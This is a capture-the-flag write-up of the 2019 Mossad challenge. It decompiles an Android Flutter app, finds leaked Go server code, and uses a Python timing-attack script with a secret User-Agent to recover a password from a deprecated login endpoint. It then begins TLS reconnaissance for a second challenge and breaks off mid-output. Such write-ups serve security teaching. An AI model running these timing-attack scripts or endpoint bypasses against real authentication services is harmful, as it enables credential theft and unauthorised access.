Mossad Challenge - 5778

By Dvd848 and YaakovCohen88

Challenge #1

Description

Welcome Agent.

A team of field operatives is currently on-site in enemy territory, working to retrieve intel on an imminent terrorist attack.

The intel is contained in a safe, the plans for which are available to authorized > clients via an app.

Our client ID is f6e772ba649047c8b5d653914bd5d6d7

Your mission is to retrieve those plans, and allow our team to break into the safe.

Good luck!, M.|

An APK file was attached.

Solution

We start by extracting the APK file using apktool:

[email protected]:/media/sf_CTFs/mossad/1# apktool d app.apk
I: Using Apktool 2.3.4-dirty on app.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

The first thing to look at is the manifest:

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">
    <uses-permission android:name="android.permission.INTERNET"/>
    <application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">
        <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">
            <meta-data android:name="io.flutter.app.android.SplashScreenUntilFirstFrame" android:value="true"/>
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>

Looks like a Flutter application:

Flutter is an open-source mobile application development framework created by Google. It is used to develop applications for Android and iOS (Wikipedia)

Looking around, most of the files seem either framework-related or bare-bones.

The application name seems to be "locksmither", let's search for all instances of it in order to be able to a closer look at the application specific code:

[email protected]:/media/sf_CTFs/mossad/1/app# grep -rnw locksmither
AndroidManifest.xml:1:<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.iwalk.locksmither" platformBuildVersionCode="1" platformBuildVersionName="1.0.0">
AndroidManifest.xml:4:        <activity android:configChanges="density|fontScale|keyboard|keyboardHidden|layoutDirection|locale|orientation|screenLayout|screenSize" android:hardwareAccelerated="true" android:launchMode="singleTop" android:name="com.iwalk.locksmither.MainActivity" android:theme="@style/LaunchTheme" android:windowSoftInputMode="adjustResize">
Binary file assets/flutter_assets/kernel_blob.bin matches
smali/com/iwalk/locksmither/BuildConfig.smali:1:.class public final Lcom/iwalk/locksmither/BuildConfig;
smali/com/iwalk/locksmither/BuildConfig.smali:7:.field public static final APPLICATION_ID:Ljava/lang/String; = "com.iwalk.locksmither"
smali/com/iwalk/locksmither/BuildConfig.smali:31:    sput-boolean v0, Lcom/iwalk/locksmither/BuildConfig;->DEBUG:Z
smali/com/iwalk/locksmither/MainActivity.smali:1:.class public Lcom/iwalk/locksmither/MainActivity;
smali/com/iwalk/locksmither/R$drawable.smali:1:.class public final Lcom/iwalk/locksmither/R$drawable;
smali/com/iwalk/locksmither/R$drawable.smali:8:    value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R$mipmap.smali:1:.class public final Lcom/iwalk/locksmither/R$mipmap;
smali/com/iwalk/locksmither/R$mipmap.smali:8:    value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R$style.smali:1:.class public final Lcom/iwalk/locksmither/R$style;
smali/com/iwalk/locksmither/R$style.smali:8:    value = Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R.smali:1:.class public final Lcom/iwalk/locksmither/R;
smali/com/iwalk/locksmither/R.smali:9:        Lcom/iwalk/locksmither/R$style;,
smali/com/iwalk/locksmither/R.smali:10:        Lcom/iwalk/locksmither/R$mipmap;,
smali/com/iwalk/locksmither/R.smali:11:        Lcom/iwalk/locksmither/R$drawable;

The following line stands out:

Binary file assets/flutter_assets/kernel_blob.bin matches

Why is the application name found in a binary file?

[email protected]kali:/media/sf_CTFs/mossad/1/app# strings assets/flutter_assets/kernel_blob.bin | grep locksmither
Cfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/main.dart
import 'package:locksmither/routes.dart';
Mfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/AuthURL.dart
Kfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/models/token.dart
Qfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/cookie_jar.dart
Iimport 'package:locksmither/models/token.dart';
Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_actions.dart
import 'package:locksmither/network/network_wrapper.dart';
import 'package:locksmither/models/token.dart';
import 'package:locksmither/models/AuthURL.dart';
Vfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/network/network_wrapper.dart
Nfile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/home_page.dart
import 'package:locksmither/network/cookie_jar.dart';
import 'package:locksmither/models/token.dart';
Ofile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/pages/login_page.dart
import 'package:locksmither/network/network_actions.dart';
import 'package:locksmither/network/cookie_jar.dart';
import 'package:locksmither/models/token.dart';
Efile:///C:/Users/USER/Desktop/2019/client/locksmither/lib/routes.dart
import 'package:locksmither/pages/login_page.dart';
import 'package:locksmither/pages/home_page.dart';

This looks like paths and code, it's worth taking a closer look.

[email protected]:/media/sf_CTFs/mossad/1/app# xxd -u assets/flutter_assets/kernel_blob.bin | grep main.dart -B 10 -A 10
004fffa0: C000 87E0 C000 87D6 C000 87EA C000 87CB  ................
004fffb0: C000 8841 C000 884A C000 884B C000 887D  ...A...J...K...}
004fffc0: C000 8861 C000 8889 C000 889A C000 889C  ...a............
004fffd0: C000 8A48 C000 8A1C C000 899F C000 8AB2  ...H............
004fffe0: 8A5F 8A63 8A64 8A65 8A66 8A69 8FF3 0000  ._.c.d.e.f.i....
004ffff0: 0000 0000 4FFF F100 0000 0000 4FFF F300  ....O.......O...
00500000: 0000 0000 0002 2C00 0000 4366 696C 653A  ......,...Cfile:
00500010: 2F2F 2F43 3A2F 5573 6572 732F 5553 4552  ///C:/Users/USER
00500020: 2F44 6573 6B74 6F70 2F32 3031 392F 636C  /Desktop/2019/cl
00500030: 6965 6E74 2F6C 6F63 6B73 6D69 7468 6572  ient/locksmither
00500040: 2F6C 6962 2F6D 6169 6E2E 6461 7274 81DE  /lib/main.dart..
00500050: 696D 706F 7274 2027 7061 636B 6167 653A  import 'package:
00500060: 666C 7574 7465 722F 6D61 7465 7269 616C  flutter/material
00500070: 2E64 6172 7427 3B0D 0A69 6D70 6F72 7420  .dart';..import
00500080: 2770 6163 6B61 6765 3A6C 6F63 6B73 6D69  'package:locksmi
00500090: 7468 6572 2F72 6F75 7465 732E 6461 7274  ther/routes.dart
005000a0: 273B 0D0A 0D0A 766F 6964 206D 6169 6E28  ';....void main(
005000b0: 2920 3D3E 2072 756E 4170 7028 4C6F 636B  ) => runApp(Lock
005000c0: 536D 6974 6865 7241 7070 2829 293B 0D0A  SmitherApp());..
005000d0: 0D0A 636C 6173 7320 4C6F 636B 536D 6974  ..class LockSmit
005000e0: 6865 7241 7070 2065 7874 656E 6473 2053  herApp extends S

This is actual code!

We search kernel_blob.bin for all locations of the user application (i.e. paths that start with "file:///C:/Users/USER/Desktop/2019/client/locksmither/") and extract the following files:

[email protected]:/media/sf_CTFs/mossad/1/app# ls -l ../*.dart
-rwxrwx--- 1 root vboxsf  287 May  9 10:50 ../AuthURL.dart
-rwxrwx--- 1 root vboxsf  329 May  9 10:50 ../cookie_jar.dart
-rwxrwx--- 1 root vboxsf  839 May  9 10:52 ../home_page.dart
-rwxrwx--- 1 root vboxsf 3569 May  9 10:52 ../login_page.dart
-rwxrwx--- 1 root vboxsf  478 May  9 10:49 ../main.dart
-rwxrwx--- 1 root vboxsf 1279 May  9 10:51 ../network_actions.dart
-rwxrwx--- 1 root vboxsf 1993 May  9 10:51 ../network_wrapper.dart
-rwxrwx--- 1 root vboxsf  355 May  9 10:53 ../routes.dart
-rwxrwx--- 1 root vboxsf  574 May  9 10:50 ../token.dart

The files are attached under the Challenge1_files folder.

From login_page.dart we can learn that the application UI offers two fields: A seed and a password:

        new Form(
          key: formKey,
          child: new Column(
            children: <Widget>[
              new Padding(
                padding: const EdgeInsets.all(8.0),
                child: new TextFormField(
                  onSaved: (val) => _seed = val,
                  decoration: new InputDecoration(labelText: "Seed"),
                ),
              ),
              new Padding(
                padding: const EdgeInsets.all(8.0),
                child: new TextFormField(
                  onSaved: (val) => _password = val,
                  decoration: new InputDecoration(labelText: "Password"),
                ),
              ),
            ],
          ),
        ),

The login logic is located in network_actions.dart:

class NetworkActions {
  NetworkWrapper _netUtil = new NetworkWrapper();
  static const BASE_URL = "http://35.246.158.51:8070";
  static const LOGIN_URL = BASE_URL + "/auth/getUrl";

  Future<Token> login(String seed, String password) {
    var headers = new Map<String,String>();
      return _netUtil.get(LOGIN_URL, headers:headers).then((dynamic authUrl) {
      try {
        if (authUrl == null) {
          return Future<Token>.sync(() => new Token("", false, 0));
        }
        var loginUrl = BASE_URL + AuthURL.map(json.decode(authUrl.body)).url;
        Map<String,String> body = { "Seed": seed, "Password": password };
        Map<String,String> headers = {"content-type": "application/json"};
        return _netUtil.post(loginUrl,body: json.encode(body), headers:headers).then((dynamic token) {                
                return Token.map(token);
              });
      } catch (e) {
        return Future<Token>.sync(() => new Token("", false, 0));
      }
      }).catchError((e) { 
        return null; 
      });
  }
}

First, the authentication URL is received by making a request to /auth/getUrl. Then, the seed and password are verified against the login service.

Successfully logging in will take us to the home page, revealing a lock URL:

String get lockURL => _token.lockURL;
  int get time => _token.time;


  @override
  Widget build(BuildContext context) {
    return new Scaffold(
      appBar: new AppBar(title: new Text("Home"),),
      body: new Center(

        child: new Text("Success!\nLock Url: $lockURL\nObtained in: $time nanoseconds"
                ),
              ),
        );
  }

The obvious next move is to investigate the API:

root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v2"}

Let's try to authenticate with random credentials (we add the user agent since that's what the application uses, as seen in network_wrapper.dart):

root@kali:/media/sf_CTFs/mossad/1# curl -X POST  http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2"
 && echo
{"IsValid":false,"LockURL":"","Time":129238}

Obviously we get IsValid = False, but the detail that stands out here it the Time member.

We try the same request again and get a different time:

root@kali:/media/sf_CTFs/mossad/1# curl -X POST  http://35.246.158.51:8070/auth/v2 -H "Content-Type: application/json" -d '{"Seed":"12345", "Password":"pass"}' -H "User-Agent: iWalk-v2" && echo
{"IsValid":false,"LockURL":"","Time":102929}

The result this time is smaller, meaning that this isn't a running clock. And in fact, we can see from the success message above that this is the amount of time, in nanoseconds, that it took the server to respond.

This is very good news since it might allow us to perform a Timing Attack:

In cryptography, a timing attack is a side channel attack in which the attacker attempts to compromise a cryptosystem by analyzing the time taken to execute cryptographic algorithms. Every logical operation in a computer takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, an attacker can work backwards to the input.

The high-level concept is as follows:

  1. For each legal character that a password can contain:
    1. Send a request with the current character as the first character of the password and some other random string for the rest of the password
    2. Measure the time it takes for the server to respond
    3. If the server is vulnerable to a timing attack (by comparing the user password to the real password character by character), the time it takes for the server to respond when we send the correct first character will be a bit longer. This is because in this case, the server performs two comparisons (one for the first letter which is successful, and then for the second letter which is probably wrong), while in the common case the server will find out that the password is wrong during the first comparison
    4. After revealing the first letter of the password, repeat the procedure for the rest of the password

We can use the following script as a proof of concept:

import requests
import string
import json

def send_request(payload):
    headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'}
    r = requests.post("http://35.246.158.51:8070/auth/v2", json={"Seed":"12345", "Password": payload}, headers = headers)
    j = json.loads(r.text)
    return j

l = []
for c in string.printable:
    r = send_request(c + "#")
    l.append((r["Time"], c))
print(sorted(l, reverse = True))

The result:

root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(163682, 'P'), (156899, '"'), (146783, 'C'), (145022, "'"), (143158, '1'), (139654, 'j'), (139454, 'L'), (135785, '8'), (134824, '9'), (132512, '!'), (131702, '='), (131552, '$'), (131263, '0'), (131155, '@'), (130981, 'N'), (129179, 'b'), (128047, 'E'), (128036, 'G'), (127787, 'h'), (127631, '\x0b'), (127044, 'A'), (126666, 'q'), (126146, 'n'), (125356, ','), (125075, ' '), (124757, 'X'), (124608, 'F'), (124069, 'w'), (124025, 'Y'), (123364, 'm'), (122906, 'g'), (122613, 'u'), (122606, '\t'), (121776, '~'), (121402, '\x0c'), (121275, '.'), (120777, '^'), (120572, '5'), (120426, 'D'), (120388, 'l'), (120097, 'H'), (120018, '?'), (119420, 'J'), (119327, 'r'), (119326, '4'), (119259, 'V'), (119190, 'y'), (118724, 'I'), (118169, '&'), (118157, 'T'), (118114, 'O'), (117913, '`'), (117629, '+'), (117480, 's'), (117362, 'Q'), (116088, '\\'), (116053, '\n'), (115872, 'B'), (115745, '/'), (115344, 'R'), (115142, '7'), (114646, '6'), (114521, 'a'), (114003, 'K'), (113926, 'f'), (113572, '\r'), (113293, 'v'), (113253, 't'), (113185, 'p'), (113152, ')'), (112912, '('), (112414, '|'), (111918, '['), (111859, 'k'), (111699, ':'), (111509, ']'), (111354, 'M'), (111118, '#'), (110780, 'c'), (110737, 'z'), (110175, 'S'), (109707, '3'), (109606, 'e'), (109528, '{'), (109424, '}'), (109305, 'U'), (108920, '-'), (108639, 'Z'), (108453, '_'), (108418, '2'), (108109, '*'), (108038, 'o'), (107736, 'd'), (107513, '<'), (107136, '>'), (106291, '%'), (105649, 'W'), (104954, ';'), (103039, 'i'), (78280, 'x')]

According to these results, "P" is probably the first letter of the password.

In order to double check, we run again:

root@kali:/media/sf_CTFs/mossad/1# python 1.py
[(162929, 'q'), (159551, 'S'), (152178, '\t'), (148898, '['), (147134, '%'), (144974, 'm'), (144912, 'F'), (143515, 'E'), (142428, 't'), (135889, '/'), (135324, 'G'), (132307, 'b'), (130708, '@'), (129942, 'a'), (128031, '>'), (127303, 'W'), (127025, '?'), (126839, 'C'), (126811, '\\'), (126428, '\x0b'), (126067, 'V'), (125985, 'l'), (125777, '^'), (124175, 'D'), (124024, ']'), (123713, 'k'), (123555, '6'), (122888, 'o'), (122160, 'y'), (122144, 'w'), (122098, 'g'), (121428, '2'), (120693, 'Z'), (120687, '$'), (120657, 'v'), (120651, '\r'), (119935, 'z'), (119293, '\n'), (118910, '+'), (118698, '*'), (118381, ')'), (118298, '8'), (117939, '='), (117692, 'N'), (117053, ','), (116495, '&'), (116462, '4'), (116365, 'R'), (116194, '('), (116189, '9'), (115807, 'Q'), (115520, 'H'), (115339, 'B'), (115256, '{'), (114959, '<'), (114855, 'P'), (114757, '|'), (114453, 'e'), (114298, ':'), (114273, '#'), (114107, 'r'), (113600, '.'), (113431, 'K'), (113371, 'A'), (113337, 'Y'), (113289, '}'), (112673, "'"), (112593, 'M'), (112572, 'p'), (112448, 'j'), (112426, '"'), (112342, 'X'), (112101, 'L'), (111912, '-'), (111818, '\x0c'), (111721, '0'), (111695, 'f'), (111695, ';'), (111470, 'h'), (111458, '5'), (111301, 'T'), (111074, 'I'), (110847, 's'), (110547, 'n'), (110543, 'x'), (110320, 'u'), (110306, '`'), (109994, '1'), (109928, 'O'), (109895, '3'), (109740, '!'), (108844, 'c'), (108607, '7'), (106737, 'J'), (106614, '~'), (106584, 'U'), (106269, '_'), (105884, ' '), (97347, 'd'), (94793, 'i')]

This time we get completely different results, and "P" is not even close to the top. We can repeat the experiment several times and each time we get very different results. The conclusion must be that this service is not vulnerable to a timing attack.

It's back to the drawing board, however there's not too much to work with anymore.

After thoroughly reviewing everything several times, we go back to the manifest and concentrate on the following line:

<application android:data="look for us on github.com" android:debuggable="true" android:icon="@mipmap/ic_launcher" android:label="LockSmither" android:name="io.flutter.app.FlutterApplication">

The android:data attribute is easy to look over at first, but upon closer examination it's a bit suspicious that the sentence doesn't start with a capital letter like we would expect if this was copied from some official source. What is this is a hint?

Github has many results for iwalk and LockSmither, but only one result for the combination iWalk-LockSmither!

In the single commit by this user, the following code was checked in:

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "time"
)

type AuthURL struct {
    AuthURL string
}

type LoginData struct {
    Seed     string
    Password string
}

type AuthResponse struct {
    IsValid bool
    LockURL string
    Time    time.Duration
}

func notFound(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Page not found")
}

func getAuthURL(w http.ResponseWriter, r *http.Request) {
    userAgent := r.Header.Get("User-Agent")
    url := "/auth/v2"

    if userAgent == "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
        url = "/auth/v1_1"
    }

    resp := AuthURL{AuthURL: url}
    w.Header().Set("Server", "iWalk-Server-v2")
    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(resp)
}

//iWalk-Locks: Production auth
func v2Auth(w http.ResponseWriter, r *http.Request) {
    start := time.Now()

    decoder := json.NewDecoder(r.Body)
    var loginData LoginData
    err := decoder.Decode(&loginData)
    if err != nil {
        ret := getResponseToken(start, false, "")
        returnToken(w, ret)
        return
    }

    //LockSmiter: better Auth checks for our app
    for _, lock := range getLocks() {
        if lock.Password == loginData.Password && lock.Seed == loginData.Seed {
            ret := getResponseToken(start, true, lock.Value)
            returnToken(w, ret)
            return
        }
    }

    ret := getResponseToken(start, false, "")
    returnToken(w, ret)
}

//iWalk-Locks: old auth, depcrated developed by OG
//that is no longer with us
//TODO: deprecated, remove from code
func v1Auth(w http.ResponseWriter, r *http.Request) {
    userAgent := r.Header.Get("User-Agent")
    if userAgent != "ed9ae2c0-9b15-4556-a393-23d500675d4b" {
        returnServerError(w, r)
        return
    }

    start := time.Now()

    decoder := json.NewDecoder(r.Body)
    var loginData LoginData
    err := decoder.Decode(&loginData)
    if err != nil {
        ret := getResponseToken(start, false, "")
        returnToken(w, ret)
        return
    }

    for _, lock := range getLocks() {
        if loginData.Seed != lock.Seed {
            continue
        }

        currentIndex := 0
        for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) {
            if lock.Password[currentIndex] != loginData.Password[currentIndex] {
                break
            }
            //OG: securing against bruteforce attempts... ;-)
            time.Sleep(30 * time.Millisecond)
            currentIndex++
        }

        if currentIndex == len(lock.Password) {
            ret := getResponseToken(start, true, lock.Value)
            returnToken(w, ret)
            return
        }
    }

    ret := getResponseToken(start, false, "")
    returnToken(w, ret)
}

func getResponseToken(from time.Time, isValid bool, lockURL string) []byte {
    elapsed := time.Since(from)
    resp := AuthResponse{IsValid: isValid, LockURL: lockURL, Time: elapsed}
    js, err := json.Marshal(resp)
    if err != nil {
        return nil
    }

    return js
}

func returnToken(w http.ResponseWriter, js []byte) {
    if js == nil {
        http.Error(w, "", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Server", "iWalk-Server-v2")
    w.Header().Set("Content-Type", "application/json")
    w.Write(js)
}

func returnServerError(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Server", "iWalk-Server-v2")
    http.Error(w, "Oh no. We might have a problem; trained monkies are on it.", http.StatusInternalServerError)
}

func main() {
    if getLocks() == nil {
        panic("Something is wrong with the locks file")
    }

    http.HandleFunc("/auth/getUrl", getAuthURL)
    http.HandleFunc("/auth/v1_1", v1Auth)
    http.HandleFunc("/auth/v2", v2Auth)
    http.HandleFunc("/", notFound)
    log.Fatal(http.ListenAndServe(":8070", nil))
}

This is the missing piece we needed!

We can see that there is a deprecated API (v1Auth) which is available only using a certain user agent:

root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl
{"AuthURL":"/auth/v2"}
root@kali:/media/sf_CTFs/mossad/1# curl http://35.246.158.51:8070/auth/getUrl -H "User-Agent: ed9ae2c0-9b15-4556-a393-23d500675d4b"
{"AuthURL":"/auth/v1_1"}

Luckily, this API is vulnerable to a timing attack:

for currentIndex < len(lock.Password) && currentIndex < len(loginData.Password) {
    if lock.Password[currentIndex] != loginData.Password[currentIndex] {
        break
    }
    //OG: securing against bruteforce attempts... ;-)
    time.Sleep(30 * time.Millisecond)
    currentIndex++
}

When we send a correct character, the server will wait 30 milliseconds before continuing to the next character, making it easy to isolate the correct character.

The only thing we have to bypass now is the following check:

if loginData.Seed != lock.Seed {
    continue
}

If we don't know the correct seed, we won't be able to get to the character comparison. We can't brute force the seed since we have any information leaking at this stage, i.e. we can't distinguish a good seed from a bad one.

Since there doesn't seem any other way around this, our only reasonable strategy is to use the only piece of information we haven't used yet - the client ID from the description.

Let's try it:

import requests
import string
import json

def send_request(payload):
    headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'}
    r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers)
    j = json.loads(r.text)
    return j

l = []
for c in string.printable:
    r = send_request(c + "#")
    l.append((r["Time"], c))
print(sorted(l, reverse = True))

Output:

root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(30297821, '8'), (299177, '^'), (225591, 'g'), (220877, 'J'), (214820, '9'), (199345, 'o'), (195457, '"'), (195241, '\n'), (194002, ','), (193293, '\r'), (190532, '\t'), (188643, 's'), (188146, 'V'), (186111, 'T'), (185161, 'N'), (185028, 'Y'), (183405, 'X'), (183234, 'l'), (182483, '6'), (182456, 'b'), (182241, '<'), (181334, '!'), (178178, 'G'), (178124, 'x'), (177788, 'e'), (177576, '$'), (176918, 'C'), (176083, 'j'), (174459, ')'), (174277, 'S'), (173024, 'E'), (172562, 'O'), (172215, 'k'), (172177, 'r'), (171948, ':'), (171693, 'W'), (171325, 'P'), (169705, 'q'), (169170, '4'), (169059, '\x0c'), (168927, '7'), (168658, '}'), (168632, '|'), (168210, 'z'), (168172, ' '), (168043, '>'), (166839, '&'), (166585, '5'), (166238, 'u'), (165316, '2'), (165023, 'A'), (164470, 'B'), (164381, 'D'), (164035, '*'), (163765, '\x0b'), (163733, '#'), (163578, 'i'), (163529, '?'), (163259, 'm'), (162995, 'U'), (162713, "'"), (162601, '`'), (162267, 'y'), (161912, 'K'), (161689, '1'), (161392, 'c'), (161292, 'w'), (161221, '{'), (160424, 'h'), (159986, 'I'), (159927, '('), (159717, '+'), (159480, '0'), (159385, ']'), (158972, 'H'), (158693, '~'), (158634, '3'), (158297, 'n'), (158277, '='), (158116, 'p'), (158082, 'M'), (158059, 'F'), (158044, 'Q'), (157507, 'Z'), (157177, '%'), (157097, '/'), (156999, '['), (156588, '_'), (156581, 'd'), (156274, 'f'), (156232, 'a'), (155671, 't'), (155460, 'R'), (154342, '-'), (154146, '\\'), (153440, '@'), (151308, 'v'), (150976, 'L'), (149162, ';'), (148828, '.')]
root@kali:/media/sf_CTFs/mossad/1# python timing.py
[(30255514, '8'), (255535, 'l'), (208315, 'v'), (205267, 'f'), (200087, '^'), (197082, 'q'), (195745, 'r'), (194660, 's'), (186805, 'B'), (185840, '3'), (181089, '4'), (180780, '?'), (180144, 'O'), (178863, 'a'), (177931, 'p'), (177763, '_'), (177756, 'J'), (176735, "'"), (176232, '!'), (175732, 'I'), (175128, 'R'), (174867, '@'), (174858, '9'), (174730, 'A'), (174675, '"'), (173457, 'j'), (173435, '#'), (172652, 'L'), (172419, ':'), (172269, 'o'), (171940, 'g'), (171812, '+'), (171080, '-'), (170780, 'S'), (170205, 'k'), (169251, '&'), (169217, 'M'), (168910, 'Z'), (167135, '<'), (167123, '\x0c'), (167101, 'P'), (167100, '1'), (166640, 'm'), (166395, '\x0b'), (166386, '%'), (165335, ','), (164965, 'x'), (164965, 'c'), (164864, 'C'), (164136, '\t'), (163903, '5'), (163892, 'y'), (163660, '*'), (163508, '.'), (163465, '`'), (163437, 'G'), (163328, 'Q'), (162983, 'F'), (162730, 'X'), (162463, 'b'), (162249, '2'), (161992, '>'), (161910, 'w'), (161624, 'u'), (161342, '/'), (161326, 'T'), (161166, '0'), (160766, '('), (160611, 'V'), (159719, 'H'), (159149, ' '), (158566, 'U'), (158408, '['), (158281, 'z'), (158154, '$'), (157983, '~'), (157642, 'K'), (157615, 'd'), (157545, '6'), (157347, '7'), (157185, '|'), (157041, '\r'), (156871, 'D'), (156260, '{'), (156160, ')'), (156053, 'e'), (155840, '\\'), (155520, 'h'), (155516, '='), (155361, 'Y'), (155184, 'E'), (155151, 'i'), (154420, 'W'), (154251, '}'), (153745, ']'), (149470, '\n'), (148354, 'n'), (147696, ';'), (147150, 'N'), (145426, 't')]

We got a consistent "8" twice in a row, with a large delta from the next runner-up. This means that we're on the right track.

The following script will extract the complete password:

import requests
import string
import json
import sys

def send_request(payload):
    headers = {'User-Agent': 'ed9ae2c0-9b15-4556-a393-23d500675d4b'}
    r = requests.post("http://35.246.158.51:8070/auth/v1_1", json={"Seed":"b27098b891ae4eb29b3d57b8f0b1279d", "Password": payload}, headers = headers)
    j = json.loads(r.text)
    return j


def timing_attack():
    password = ""
    sys.stdout.write("Progress: ")
    sys.stdout.flush()
    while True:
        l = []
        for c in '1234567890abcdef':
            r = send_request(password + c + "#")
            if r["IsValid"]:
                return (r, password + c)
            l.append((r["Time"], c))
        s = sorted(l, reverse = True)
        new_char = s[0][1]
        sys.stdout.write(new_char)
        sys.stdout.flush()
        password += new_char
    return None

if __name__ == "__main__":
    (response, password) = timing_attack()
    print ("\nPassword: {}".format(password))
    print ("URL: {}".format(response["LockURL"]))

Note that we're only trying lowercase HEX characters, since from the first few results it seems as though the password is lowercase HEX. This allowed running much faster. If this assumption would have been found to be incorrect, we would have tried iterating over string.printable.

The output:

root@kali:/media/sf_CTFs/mossad/1# python timing.py
Progress: 81c4727e019d42e49fe9bcca9b2b0c8
Password: 81c4727e019d42e49fe9bcca9b2b0c8c
URL: http://3d375032374147a7865753e4bbc92682.xyz/c76de3be5d23447e95d498aeff4ca5fc

Challenge #2

Description

Hello again, Agent.

Our team has successfully exfiltrated the intel contained in the safe.

The intel has pointed us to an anti aircraft weapon deployed by the terrorists in order to shoot down civilian aircraft.

While our field teams try to find the weapon, you must work to disable it remotely.

Good luck! M.|

A link to a website was attached.

Solution

We visit the website at http://missilesys.com/ and get a redirection to an HTTPS version:

[email protected]:/media/sf_CTFs/mossad/2# curl http://missilesys.com/ -v
*   Trying 35.246.158.51...
* TCP_NODELAY set
* Connected to missilesys.com (35.246.158.51) port 80 (#0)
> GET / HTTP/1.1
> Host: missilesys.com
> User-Agent: curl/7.61.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.14.0 (Ubuntu)
< Date: Sun, 12 May 2019 17:32:53 GMT
< Content-Type: text/html
< Content-Length: 170
< Connection: keep-alive
< Location: https://missilesys.com/
<
<html>
<head><title>302 Found</title></head>
<body bgcolor="white">
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
* Connection #0 to host missilesys.com left intact

The HTTPS website is not backed by a known certificate chain:

[email protected]:/media/sf_CTFs/mossad/2# curl https://missilesys.com/
curl: (60) SSL certificate problem: unable to get local issuer certificate
More details here: https://curl.haxx.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

If we check the certificate chain details, we get the following certificate:

[email protected]:/media/sf_CTFs/mossad/2# nmap -p 443 --script ssl-cert missilesys.com
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-12 20:37 IDT
Nmap scan report for missilesys.com (35.246.158.51)
Host is up (0.0098s latency).
rDNS record for 35.246.158.51: 51.158.246.35.bc.googleusercontent.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-cert: Subject: commonName=missilesys.com
| Subject Alternative Name: DNS:missilesys.com, IP Address:35.198.135.201
| Issuer: organizationName=International Weapons Export Inc.
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-04-20T09:12:01
| Not valid after:  2020-04-19T09:12:01
| MD5:   b023 7df6 4040 57fb f26e 0d38 0955 874e
|_SHA-1: 4445 b350 b422 5dc7 1bcc 947c fa06 d48b 514f e580

The certificate is issued to missilesys.com by International Weapons Export Inc.. Since we don't have a chain from International Weapons Export Inc. up to some root of trust, the certificate isn't trusted.

We can add a flag to ignore our trust issues and retrieve the website anyway:

root@kali:/media/sf_CTFs/mossad/2# curl https://missilesys.com/ -v -k
*   Trying 35.246.158.51...
* TCP_NODELAY set
* Connected to missilesys.com (35.246.158.51) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* (304) (OUT), TLS handshake, Client hello (1):
* (304) (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Client hello (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: CN=missilesys.com
